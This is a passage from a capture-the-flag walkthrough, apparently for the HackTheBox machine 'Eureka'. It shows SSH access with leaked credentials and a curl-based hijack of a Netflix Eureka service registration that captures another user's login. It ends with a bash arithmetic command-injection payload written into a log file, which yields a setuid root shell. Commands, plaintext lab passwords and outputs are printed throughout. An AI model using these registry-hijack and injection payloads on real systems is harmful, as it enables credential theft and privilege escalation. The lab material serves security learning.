...[snip]..
SSH
Before pivoting to other web services, I’ll try SSH, and it works:
oxdf@hacky$ netexec ssh furni.htb -u EurekaSrvr -p '0scarPWDisTheB3st'
SSH 10.10.11.66 22 furni.htb SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.10.11.66 22 furni.htb [-] EurekaSrvr:0scarPWDisTheB3st
oxdf@hacky$ netexec ssh furni.htb -u oscar190 -p '0sc@r190_S0l!dP@sswd'
SSH 10.10.11.66 22 furni.htb SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.10.11.66 22 furni.htb [+] oscar190:0sc@r190_S0l!dP@sswd Linux - Shell access!
I’ll get a shell:
oxdf@hacky$ sshpass -p '0sc@r190_S0l!dP@sswd' ssh oscar190@furni.htb
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-214-generic x86_64)
...[snip]...
oscar190@eureka:~$
Shell as miranda-wise
General Enumeration
Users
oscar190’s home directory is very empty:
oscar190@eureka:~$ ls -la
total 32
drwxr-x--- 5 oscar190 oscar190 4096 Apr 1 12:57 .
drwxr-xr-x 4 root root 4096 Aug 9 2024 ..
lrwxrwxrwx 1 oscar190 oscar190 9 Aug 7 2024 .bash_history -> /dev/null
-rw-r--r-- 1 oscar190 oscar190 220 Aug 1 2024 .bash_logout
-rw-r--r-- 1 oscar190 oscar190 3771 Apr 1 12:57 .bashrc
drwx------ 2 oscar190 oscar190 4096 Aug 1 2024 .cache
drwx------ 3 oscar190 oscar190 4096 Aug 1 2024 .config
drwxrwxr-x 3 oscar190 oscar190 4096 Aug 1 2024 .local
lrwxrwxrwx 1 oscar190 oscar190 9 Aug 7 2024 .mysql_history -> /dev/null
-rw-r--r-- 1 oscar190 oscar190 807 Aug 1 2024 .profile
They can not run sudo
either:
oscar190@eureka:~$ sudo -l
[sudo] password for oscar190:
Sorry, user oscar190 may not run sudo on localhost.
There is one other user with a home directory on the box:
oscar190@eureka:/home$ ls
miranda-wise oscar190
That matches the users with shells set in passwd
:
oscar190@eureka:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
oscar190:x:1000:1001:,,,:/home/oscar190:/bin/bash
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash
File System
There is something going on in /opt
:
oscar190@eureka:/opt$ ls -l
total 16
drwxrwx--- 2 root www-data 4096 Aug 7 2024 heapdump
-rwxrwxr-x 1 root root 4980 Mar 20 14:17 log_analyse.sh
drwxr-x--- 2 root root 4096 Apr 9 18:34 scripts
oscar190@eureka:/opt$ ls heapdump/
ls: cannot open directory 'heapdump/': Permission denied
oscar190@eureka:/opt$ ls scripts/
ls: cannot open directory 'scripts/': Permission denied
I can look at log_analyse.sh
, but I’ll come back to this for the root step.
Processes
ps auxww
doesn’t show anything super interesting. There are four different pairs of processes where root runs sudo
to run a Java Spring Boot application as www-data:
root 1003 0.0 0.0 9424 3464 ? S Apr29 0:00 sudo -b -u www-data java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/demo-0.0.1-SNAPSHOT.jar --spring.config.loca
tion=/var/www/web/Eureka-Server/src/main/resources/application.yaml
www-data 1009 4.2 7.9 2840236 317624 ? Sl Apr29 51:50 java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/demo-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/Eu
reka-Server/src/main/resources/application.yaml
root 1330 0.0 0.0 9424 3428 ? S Apr29 0:00 sudo -b -u www-data java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/Furni-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/user-management-service/src/main/resources/application.properties
www-data 1332 0.6 8.8 2884344 354136 ? Sl Apr29 8:15 java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/Furni-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/user-management-service/src/main/resources/application.properties
root 1333 0.0 0.0 9428 3292 ? S Apr29 0:00 sudo -b -u www-data java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/Furni-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/Furni/src/main/resources/application.properties
www-data 1336 0.3 8.7 2885384 348636 ? Sl Apr29 4:17 java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/Furni-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/Furni/src/main/resources/application.properties
root 1401 0.0 0.0 9424 3284 ? S Apr29 0:00 sudo -b -u www-data java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/demo-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/cloud-gateway/src/main/resources/application.yaml
www-data 1402 0.3 7.8 2823988 313896 ? Sl Apr29 4:16 java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/demo-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/cloud-gateway/src/main/resources/application.yaml
I’ll upload pspy and take a look at any crons that might be running. There are processes that reset the logs (I’ll look at these shortly):
2025/04/30 14:40:11 CMD: UID=0 PID=1402389 | cp /opt/scripts/application_user.log /var/www/web/user-management-service/log/application.log
There’s also a process that is claims to be logging in as miranda:
2025/04/30 14:41:02 CMD: UID=0 PID=1402416 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
root is also running /opt/analyse.sh
(I’ll come back to this getting root):
2025/04/30 14:42:03 CMD: UID=0 PID=1404997 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
Web Enumeration
Web Overview
nginx is configured for port 80 in /etc/nginx/sites-enabled/default
(most comments removed):
server {
listen 80;
listen [::]:80;
server_name furni.htb;
if ($host != "furni.htb") {
return 301 http://furni.htb$request_uri;
}
location = /actuator/heapdump {
alias /opt/heapdump/heapdump;
}
location = /favicon.ico { access_log off; log_not_found off; }
location /static/ {
root /var/www/web;
}
location / {
# pass to spring-cloud-gateway
proxy_pass http://127.0.0.1:8080;
include proxy_params;
}
}
It’s interesting that /actuator/heapdump
is given a different location. I suspect this is in place to make sure that the correct stuff is in memory so that all HTB players get a consistent experience. /static
things are passed to /var/www/web
. The rest is proxied to http://127.0.0.1:8080
which is labeled as the spring-cloud-gateway.
/var/www
has two directories:
oscar190@eureka:/var/www$ ls
html web
html
is just the default nginx page. web
has several folders:
oscar190@eureka:/var/www/web$ ls
cloud-gateway Eureka-Server Furni static user-management-service
Each of these seem to be a different SpringBoot application. cloud-gateway
seems to be an implementation of Spring Cloud Gateway. Furni
has the website. Eureka-Server
is an instance of eureka:
Eureka is a RESTful (Representational State Transfer) service that is primarily used in the AWS cloud for the purpose of discovery, load balancing and failover of middle-tier servers. It plays a critical role in Netflix mid-tier infra.
In each, I can get a list of all the files with find
:
oscar190@eureka:/var/www/web/user-management-service$ find . -type f
./target/maven-archiver/pom.properties
./target/test-classes/com/eureka/Furni/FurniApplicationTests.class
./target/classes/com/eureka/Furni/Controller/UserController.class
./target/classes/com/eureka/Furni/UMSApplication.class
./target/classes/com/eureka/Furni/Repository/UserRepository.class
./target/classes/com/eureka/Furni/Security/LoginFailureLogger.class
./target/classes/com/eureka/Furni/Security/WebSecurityConfig.class
./target/classes/com/eureka/Furni/Security/LoginSuccessLogger.class
./target/classes/com/eureka/Furni/Model/User.class
./target/classes/com/eureka/Furni/Service/CustomUserDetailsService.class
./target/classes/com/eureka/Furni/Service/CustomUserDetails.class
./target/classes/application.properties
./target/classes/templates/register.html
./target/surefire-reports/com.eureka.Furni.FurniApplicationTests.txt
./target/surefire-reports/TEST-com.eureka.Furni.FurniApplicationTests.xml
./target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/createdFiles.lst
./target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst
./target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
./target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
./target/Furni-0.0.1-SNAPSHOT.jar
./target/Furni-0.0.1-SNAPSHOT.jar.original
./.mvn/wrapper/maven-wrapper.properties
./mvnw.cmd
./HELP.md
./mvnw
./log/application.log.2025-04-29.0.gz
./log/application.log.2025-04-23.0.gz
./log/application.log
./src/test/java/com/eureka/Furni/FurniApplicationTests.java
./src/main/resources/application.properties
./src/main/resources/templates/register.html
./src/main/java/com/eureka/Furni/Controller/UserController.java
./src/main/java/com/eureka/Furni/Repository/UserRepository.java
./src/main/java/com/eureka/Furni/Security/WebSecurityConfig.java
./src/main/java/com/eureka/Furni/Security/LoginSuccessLogger.java
./src/main/java/com/eureka/Furni/Security/LoginFailureLogger.java
./src/main/java/com/eureka/Furni/UMSApplication.java
./src/main/java/com/eureka/Furni/Model/User.java
./src/main/java/com/eureka/Furni/Service/CustomUserDetails.java
./src/main/java/com/eureka/Furni/Service/CustomUserDetailsService.java
./.gitignore
./pom.xml
For an initial analysis, I’m not interested in .class
or even really .java
. I’ll use some grep
to get a better list of files that might handle configuration:
oscar190@eureka:/var/www/web$ find . -type f | grep -vP '(class|java|lst|jar|original|gz|jpg|png|svg|css|html|js|mvnw|HELP.md|mvnw.cmd|gitignore)$'
./Furni/target/maven-archiver/pom.properties
./Furni/target/classes/application.properties
./Furni/target/surefire-reports/com.eureka.Furni.FurniApplicationTests.txt
./Furni/target/surefire-reports/TEST-com.eureka.Furni.FurniApplicationTests.xml
./Furni/.mvn/wrapper/maven-wrapper.properties
./Furni/src/main/resources/application.properties
./Furni/pom.xml
./cloud-gateway/target/maven-archiver/pom.properties
./cloud-gateway/target/classes/application.yaml
./cloud-gateway/target/surefire-reports/TEST-com.eureka.gateway.ApiGatewayApplicationTests.xml
./cloud-gateway/target/surefire-reports/com.eureka.gateway.ApiGatewayApplicationTests.txt
./cloud-gateway/.mvn/wrapper/maven-wrapper.properties
./cloud-gateway/log/application.log
./cloud-gateway/src/main/resources/application.yaml
./cloud-gateway/pom.xml
./user-management-service/target/maven-archiver/pom.properties
./user-management-service/target/classes/application.properties
./user-management-service/target/surefire-reports/com.eureka.Furni.FurniApplicationTests.txt
./user-management-service/target/surefire-reports/TEST-com.eureka.Furni.FurniApplicationTests.xml
./user-management-service/.mvn/wrapper/maven-wrapper.properties
./user-management-service/log/application.log
./user-management-service/src/main/resources/application.properties
./user-management-service/pom.xml
./Eureka-Server/target/maven-archiver/pom.properties
./Eureka-Server/target/classes/application.yaml
./Eureka-Server/target/surefire-reports/com.eureka.server.EurekaServerApplicationTests.txt
./Eureka-Server/target/surefire-reports/TEST-com.eureka.server.EurekaServerApplicationTests.xml
./Eureka-Server/.mvn/wrapper/maven-wrapper.properties
./Eureka-Server/src/main/resources/application.yaml
./Eureka-Server/pom.xml
Web Configuration Files
./Furni/target/classes/application.properties
has both sets of creds that match the memory dump:
spring.application.name=Furni
spring.session.store-type=jdbc
spring.cloud.inetutils.ignoredInterfaces=enp0s.*
#Eureka
eureka.client.service-url.defaultZone= http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
#Mysql
spring.jpa.hibernate.ddl-auto=none
spring.datasource.url=jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.datasource.username=oscar190
spring.datasource.password=0sc@r190_S0l!dP@sswd
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
spring.jpa.properties.hibernate.format_sql=true
#tomcat
server.address=localhost
server.port=8082
# Enable proxy support
server.forward-headers-strategy=native
#A
management.endpoints.web.exposure.include=*
./Furni/src/main/resources/application.properties
is a copy of that as well. ./user-management-service/target/classes/application.properties
is similar, with the same creds just for the application on 8081 instead of 8082.
Web Spring Boot Application Configuration Files
./cloud-gateway/target/classes/application.yaml
has what looks like a Docker compose file (with the same creds again), but it’s actually a Spring Boot application configuration file:
eureka:
client:
registry-fetch-interval-seconds: 20
service-url:
defaultZone: http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
spring:
cloud:
gateway:
routes:
- id: user-management-service
uri: lb://USER-MANAGEMENT-SERVICE
predicates:
- Path=/login,/logout,/register,/process_register
- id: furni
uri: lb://FURNI
predicates:
- Path=/**
application:
name: app-gateway
server:
port: 8080
address: 127.0.0.1
management:
tracing:
sampling:
probability: 1
logging:
level:
root: INFO
file:
name: log/application.log
path: ./
./cloud-gateway/src/main/resources/application.yaml
is another copy of the same.
./Eureka-Server/target/classes/application.yaml
is a Spring Boot application configuration file for the Eureka Server:
spring:
application:
name: "Eureka Server"
security:
user:
name: EurekaSrvr
password: 0scarPWDisTheB3st
server:
port: 8761
address: 0.0.0.0
eureka:
client:
register-with-eureka: false
fetch-registry: false
Web Application Logs
./cloud-gateway/log/application.log
shows activity with the gateway web application. I’ll note that last entries happened within the last couple minutes:
2025-04-09T11:27:01.910Z INFO 1234 --- [app-gateway] [reactor-http-epoll-2] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 302
2025-04-09T11:27:01.970Z INFO 1234 --- [app-gateway] [reactor-http-epoll-3] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
2025-04-09T11:27:02.029Z INFO 1234 --- [app-gateway] [reactor-http-epoll-4] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
2025-04-09T11:27:02.161Z INFO 1234 --- [app-gateway] [reactor-http-epoll-1] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
2025-04-09T11:27:02.234Z INFO 1234 --- [app-gateway] [reactor-http-epoll-2] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
2025-04-09T11:27:02.286Z INFO 1234 --- [app-gateway] [reactor-http-epoll-3] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
If I check back later, those lines are gone, which aligns for the cron that is resetting this file. Later new logs are created:
2025-04-30T14:35:01.618Z INFO 1402 --- [app-gateway] [reactor-http-epoll-2] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 302
2025-04-30T14:35:01.658Z INFO 1402 --- [app-gateway] [reactor-http-epoll-3] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
2025-04-30T14:35:01.703Z INFO 1402 --- [app-gateway] [reactor-http-epoll-4] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
2025-04-30T14:35:01.736Z INFO 1402 --- [app-gateway] [reactor-http-epoll-1] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
2025-04-30T14:35:01.768Z INFO 1402 --- [app-gateway] [reactor-http-epoll-2] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
2025-04-30T14:35:01.800Z INFO 1402 --- [app-gateway] [reactor-http-epoll-3] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
There’s another application.log
file at ./user-management-service/log/application.log
. This one shows miranda.wise@furni.htb logging in successfully:
2025-04-30T15:36:28.737Z INFO 1332 --- [USER-MANAGEMENT-SERVICE] [AsyncResolver-bootstrap-executor-%d] c.n.d.s.r.aws.ConfigClusterResolver : Resolving eureka endpoints via configuration
2025-04-30T15:37:02.013Z INFO 1332 --- [USER-MANAGEMENT-SERVICE] [http-nio-127.0.0.1-8081-exec-7] c.e.Furni.Security.LoginSuccessLogger : User 'miranda.wise@furni.htb' logged in successfully
Summary
In summary, looking through the configs for the various servers shows:
- Four Spring applications:
- cloud gateway [TCP 8080]
- User Management [TCP 8081]
- Furni website [TCP 8082]
- Eureka server [TCP 8761]
- The same creds already identified in the heapdump.
- Activity showing successful login attempts every two minutes to the user management application.
Capture miranda-wise User’s Password
Strategy
A blog post from BackBase titled Hacking Netflix Eureka shows how to exploit this setup. The second scenario they show as:

The attacker is able to hijack the user’s traffic and redirect them to the attacker’s server. That’s exactly what I want here. I’m going to register an application with the app name “USER-MANAGEMENT-SERVICE”, but that points to my host and capture miranda’s login request.
Create Service
The Eureka API documentation is very sparse. The hacking Eureka post above gives an example payload, but mentions that it’s out of date. I took that payload and toyed with it a lot (along with reading some help forums) to get something working, with the minimal amount of fields:
oxdf@hacky$ curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps/USER-MANAGEMENT-SERVICE -H 'Content-Type: application/json' -d '{
"instance": {
"instanceId": "0xdf",
"hostName": "10.10.14.6",
"app": "USER-MANAGEMENT-SERVICE",
"ipAddr": "10.10.14.6",
"vipAddress": "USER-MANAGEMENT-SERVICE",
"status": "UP",
"port": {
"$": 8081,
"@enabled": "true"
},
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
}
}
}'
This returns nothing, which is good. On the website, I’ll see my app:

Delete Real App
I could have a 50% chance of getting the next login. Because I’m working in a private environment, I’ll delete the real service:
oxdf@hacky$ curl -X DELETE http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:USER-MANAGEMENT-SERVICE:8081
It returns nothing. Running it again shows it worked:
oxdf@hacky$ curl -X DELETE http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:USER-MANAGEMENT-SERVICE:8081
{"timestamp":"2025-04-30T18:22:58.279+00:00","status":404,"error":"Not Found","path":"/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:USER-MANAGEMENT-SERVICE:8081"}
The site shows it too:

If I try to go to http://furni.htb/login
or /register
, it just hangs. Sometimes this comes back before the next login attempt, so it’s not the most reliable.
Intercept Login
Eventually, there will be an attempt at my server which I catch with nc
listening on 8081:
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=OTE2ZmM2MTgtOTBhNi00YmQ1LWJhNDMtNjM1NzYzZDBjNjJl
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:49804"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.14.6:8081
username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=_2VS9FGdIM45joKtOWr5Zu_r7L_4zBxagVIGXGPBGZ_13ffNyFdhxDCsF_kUuLGaCUfNX9eKwd2d_Cl35TZgbVH0Lv7N68es
SSH
That password (once URL decoded) works for SSH:
oxdf@hacky$ netexec ssh furni.htb -u miranda-wise -p 'IL!veT0Be&BeT0L0ve'
SSH 10.10.11.66 22 furni.htb SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.10.11.66 22 furni.htb [+] miranda-wise:IL!veT0Be&BeT0L0ve Linux - Shell access!
I’ll get a shell:
oxdf@hacky$ sshpass -p 'IL!veT0Be&BeT0L0ve' ssh miranda-wise@furni.htb
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-214-generic x86_64)
...[snip]...
miranda-wise@eureka:~$
And grab user.txt
:
miranda-wise@eureka:~$ cat user.txt
46657dc0************************
Shell as root
Enumeration
log_analyse.sh Static Overview
I noted above the log_analyse.sh
script. It starts defining some variables, initializing counts to 0, and showing the usage:
#!/bin/bash
# Colors
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
RESET='\033[0m'
LOG_FILE="$1"
OUTPUT_FILE="log_analysis.txt"
declare -A successful_users # Associative array: username -> count
declare -A failed_users # Associative array: username -> count
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0") # Indexed array: "code:count" pairs
if [ ! -f "$LOG_FILE" ]; then
echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"
exit 1
fi
It’s going to take in a log file and output to log_analysis.txt
.
Next there’s a bunch of function definitions which I’ve not included the details of but basically do what they suggest:
analyze_logins() {
...[snip]...
}
analyze_http_statuses() {
...[snip]...
}
analyze_log_errors(){
...[snip]...
}
display_results() {
...[snip]...
}
I’ll go deeper on analyze_http_statuses
shortly. The script ends with the main part:
# Main execution
analyze_logins
analyze_http_statuses
display_results | tee "$OUTPUT_FILE"
analyze_log_errors | tee -a "$OUTPUT_FILE"
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"
It runs the different functions, writing to the output file.
Running log_analyse.sh
If I run this with the cloud gateway application log, it prints a bunch of information about the status codes in the log:
miranda-wise@eureka:/tmp$ /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
----- Log Analysis Report -----
[+] Successful Login Counts:
Total Successful Logins: 0
[+] Failed Login Attempts:
Total Failed Login Attempts: 0
[+] HTTP Status Code Distribution:
0 200
0 201
8 302
0 400
0 401
50 403
0 404
0 500
Total HTTP Requests Tracked: 58
[+] Log Level Counts:
107 INFO
12 WARN
[+] ERROR Messages:
[+] Eureka Connection Failures:
Count: 1
Analysis completed. Results saved to log_analysis.txt
Giving it the user management service log shows successful logins, but no status codes:
miranda-wise@eureka:/tmp$ /opt/log_analyse.sh /var/www/web/user-management-service/log/application.log
----- Log Analysis Report -----
[+] Successful Login Counts:
23 miranda.wise@furni.htb
Total Successful Logins: 23
[+] Failed Login Attempts:
Total Failed Login Attempts: 0
[+] HTTP Status Code Distribution:
0 200
0 201
0 302
0 400
0 401
0 403
0 404
0 500
Total HTTP Requests Tracked: 0
[+] Log Level Counts:
71 INFO
6 WARN
[+] ERROR Messages:
[+] Eureka Connection Failures:
Count: 1
Analysis completed. Results saved to log_analysis.txt
analyze_http_statuses
The vulnerable function is the analyze_http_statuses
function:
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
At the bottom, it is using process substitution to get the lines from the log file that have “HTTP” and “Status:” in them, and then feed those lines into the loop.
For each line, it greps to get whatever comes after “Status: “, using \K
to mark the start of the part that should be collected as the match. It then loops over each status code, and if the code from the line matches it, it increments the count and writes it back into the list.
developers
miranda-wise is in the developers group:
miranda-wise@eureka:~$ id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)
developers is the group on the web
directory:
miranda-wise@eureka:/var/www$ ls -l
total 8
drwxr-xr-x 2 root root 4096 Apr 10 07:27 html
drwxrwxr-x 7 www-data developers 4096 Mar 18 21:19 web
And each of the directories inside it:
miranda-wise@eureka:/var/www/web$ ls -l
total 20
drwxrwxr-x 6 www-data developers 4096 Mar 18 21:17 cloud-gateway
drwxrwxr-x 5 www-data developers 4096 Aug 5 2024 Eureka-Server
drwxrwxr-x 5 www-data developers 4096 Aug 5 2024 Furni
drwxrwxr-x 6 www-data developers 4096 Jul 23 2024 static
drwxrwxr-x 6 www-data developers 4096 Mar 19 22:07 user-management-service
I noted above that root is running /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
. This log file is only writable by www-data:
miranda-wise@eureka:/var/www/web$ ls -l cloud-gateway/log/application.log
-rw-rw-r-- 1 www-data www-data 22798 Apr 30 19:57 cloud-gateway/log/application.log
However, the log
directory has the developers group with rwx access:
miranda-wise@eureka:/var/www/web$ ls -ld cloud-gateway/log/
drwxrwxr-x 2 www-data developers 4096 Apr 30 00:00 cloud-gateway/log/
Command Injection
Strategy
There’s a really nice article from 2019 titled Arithmetic operation in shell script can be exploited that shows how to exploit this. The ariticle works from a simpler script:
#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if [[ "$NUM" -eq 100 ]];then
echo "OK"
else
echo "NG"
fi
Because the -eq
operator is trying to compare two numbers, then it expects two arithmetic expressions. x[$(command)]
is a valid arithmetic expression, and will execute “command”, trying to get a value that can be used as an index in the array x
.
So here, if I can get $code
to be something like that, I can get execution.
Modifying application.log
The file passed to log_analyse.sh
by root is not writable by miranda-wise:
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ echo "test" >> application.log
-bash: application.log: Permission denied
However, they can move it or delete it:
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ mv application.log application.log.bk
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ echo "test" >> application.log
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ cat application.log
test
Injection POC
To inject, I need a line that includes “HTTP” and then “Status: “ and what after is my payload. My payload should look like x[$(command)]
. Putting that together (and re-deleting the file since it was recreated by legit logging):
miranda-wise@eureka:/var/www/web/user-management-service/log$ rm -f application.log
miranda-wise@eureka:/var/www/web/user-management-service/log$ echo 'HTTP Status: x[$(ping -c 1 10.10.14.6)]' > application.log
After a minute, there’s ICMP at my computer:
oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
03:14:00.696723 IP 10.10.11.66 > 10.10.14.6: ICMP echo request, id 1, seq 1, length 64
03:14:00.696760 IP 10.10.14.6 > 10.10.11.66: ICMP echo reply, id 1, seq 1, length 64
Shell
I’ll do the same thing, this time making a SetUID/SetGID copy of bash
:
miranda-wise@eureka:/var/www/web/user-management-service/log$ rm -f application.log
miranda-wise@eureka:/var/www/web/user-management-service/log$ echo 'HTTP Status: x[$(cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf)]' > application.log
After a minute, it exists:
miranda-wise@eureka:/var/www/web/user-management-service/log$ ls -l /tmp/0xdf
-rwsrwsrwx 1 root root 1183448 Apr 30 20:04 /tmp/0xdf
Running with -p
to not drop permissions gives a root shell:
miranda-wise@eureka:/var/www/web/user-management-service/log$ /tmp/0xdf -p
0xdf-5.0#
And the flag:
0xdf-5.0# cat root.txt
1be22b29************************